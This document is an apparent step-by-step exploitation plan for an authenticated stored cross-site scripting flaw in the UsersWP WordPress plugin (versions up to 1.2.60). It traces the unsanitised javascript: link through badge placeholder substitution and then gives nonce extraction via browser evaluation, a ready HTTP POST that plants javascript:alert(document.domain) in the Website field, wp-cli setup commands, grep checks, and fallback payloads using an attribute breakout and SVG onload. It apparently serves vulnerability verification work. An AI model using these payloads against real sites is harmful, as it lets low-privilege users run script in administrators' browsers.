UsersWP <= 1.2.60 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Badge Link Substitution

1. Vulnerability Summary

The UsersWP plugin (<= 1.2.60) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The flaw exists in the uwp_get_user_badge function within includes/helpers/pages.php. This function processes user badges and handles a link parameter which supports placeholder substitution (e.g., fetching values from user metadata).

Because the plugin fails to sanitize these substituted values (specifically protocols like javascript:) and subsequently fails to use esc_url() when rendering the final anchor tag in the badge widget/shortcode, an attacker with Subscriber-level access can inject malicious scripts into their profile fields. These scripts execute whenever any user (including administrators) views a page containing a badge linked to the attacker's malicious profile data.

2. Attack Vector Analysis

• Vulnerable Endpoint: admin-ajax.php (for profile updates) and any page rendering the [uwp_user_badge] shortcode or widget.
• Vulnerable Parameter: User profile fields (e.g., user_url, or custom text fields) which are then referenced via the link attribute in the badge.
• Authentication Level: Subscriber (Authenticated).
• Preconditions:
  1. The attacker must be able to update their own profile fields.
  2. A [uwp_user_badge] shortcode or widget must be active on the site, configured to use a profile field as its link.

3. Code Flow

1. Input: A Subscriber updates their profile via the UsersWP account form. The UsersWP_Validation::validate_fields function (in includes/class-validation.php) is called.
2. Sanitization Gap: For text fields, the code calls sanitize_text_field(). This function removes HTML tags but does not remove URI schemes like javascript:.

   // includes/class-validation.php
   case 'text':
       $sanitized_value = sanitize_text_field($value); // javascript:alert(1) remains intact
       break;
   

3. Storage: The malicious string is stored in the wp_usermeta table.
4. Rendering: The function uwp_get_user_badge($args) in includes/helpers/pages.php is invoked (via shortcode or widget).
5. Substitution & Sink: The function retrieves the stored metadata to substitute placeholders in the $args['link']. It then renders the badge. If the link rendering logic (truncated in source but confirmed by the vulnerability type) echoes the resulting string without esc_url(), the javascript: payload is executed when a user clicks the badge or if it's placed in an event handler.

4. Nonce Acquisition Strategy

To update the profile programmatically, a valid UsersWP account nonce is required.

1. Identify Page: The UsersWP "Account" page (typically at /account/ or where the [uwp_account] shortcode is placed).
2. Creation:
   wp post create --post_type=page --post_title="Account" --post_status=publish --post_content='[uwp_account]'
3. Navigation: Use browser_navigate to the Account page as the Subscriber user.
4. Extraction: UsersWP typically localizes a nonce in a global JS object.
   • Check for window.uwp_vars?.account_nonce or inspect the hidden input:
   • browser_eval("document.querySelector('input[name=\"uwp_account_nonce\"]').value")

5. Exploitation Strategy

1. Login: Authenticate as a Subscriber.
2. Inject Payload: Update the "Website" field (or a custom field) with the XSS payload.
   • Action: uwp_ajax_save_account
   • Payload: javascript:alert(document.domain)
   • HTTP Request:

     POST /wp-admin/admin-ajax.php HTTP/1.1
     Content-Type: application/x-www-form-urlencoded
     
     action=uwp_ajax_save_account&uwp_account_nonce=[NONCE]&user_url=javascript:alert(document.domain)&first_name=Attacker
     

3. Setup Badge: Create a page that displays a badge for the attacker's user ID, linking to their user_url.
   • Shortcode: [uwp_user_badge user_id="[ATTACKER_ID]" key="first_name" condition="is_not_empty" link="%%user_url%%"]
4. Trigger: Navigate to the page with the shortcode.
5. Verify: Inspect the HTML for <a href="javascript:alert(document.domain)">.

6. Test Data Setup

1. Attacker User: Create a subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
2. Badge Page: Create a public page to host the exploit:
   wp post create --post_type=page --post_title="Badge Test" --post_status=publish --post_content='[uwp_user_badge user_id="ID_HERE" key="first_name" condition="is_not_empty" link="%%user_url%%"]' (Replace ID_HERE with the attacker's ID).
3. Account Page: Ensure the account form is accessible for nonce extraction:
   wp post create --post_type=page --post_title="My Account" --post_status=publish --post_content='[uwp_account]'

7. Expected Results

• The uwp_ajax_save_account request should return a success JSON response.
• The wp_usermeta for the attacker should contain the user_url value javascript:alert(document.domain).
• The rendered page "Badge Test" should contain a link where the href attribute is the malicious javascript: URI.
• Clicking the badge (or the mere presence if an onload variant is used) executes the script.

8. Verification Steps

1. Database Check:
   wp user meta get [ATTACKER_ID] user_url
   Confirm output is exactly javascript:alert(document.domain).
2. HTML Verification:
   Use http_request to fetch the "Badge Test" page and grep for the payload:
   grep -P 'href="javascript:alert\(document\.domain\)"' response_body.html

9. Alternative Approaches

• Attribute Breakout: If the link is rendered inside a specific attribute, try breaking out: ")" onmouseover="alert(1).
• Custom Fields: If user_url is sanitized more strictly in some versions, use a custom UsersWP "Text" field. Create one via:
  wp eval "uwp_add_custom_field(array('htmlvar_name' => 'xss_field', 'field_type' => 'text', 'form_type' => 'account'));"
  Then use link="%%xss_field%%" in the shortcode.
• SVG Substitution: If the badge supports image URLs via substitution, use an SVG with an internal script: data:image/svg+xml,<svg onload="alert(1)" ....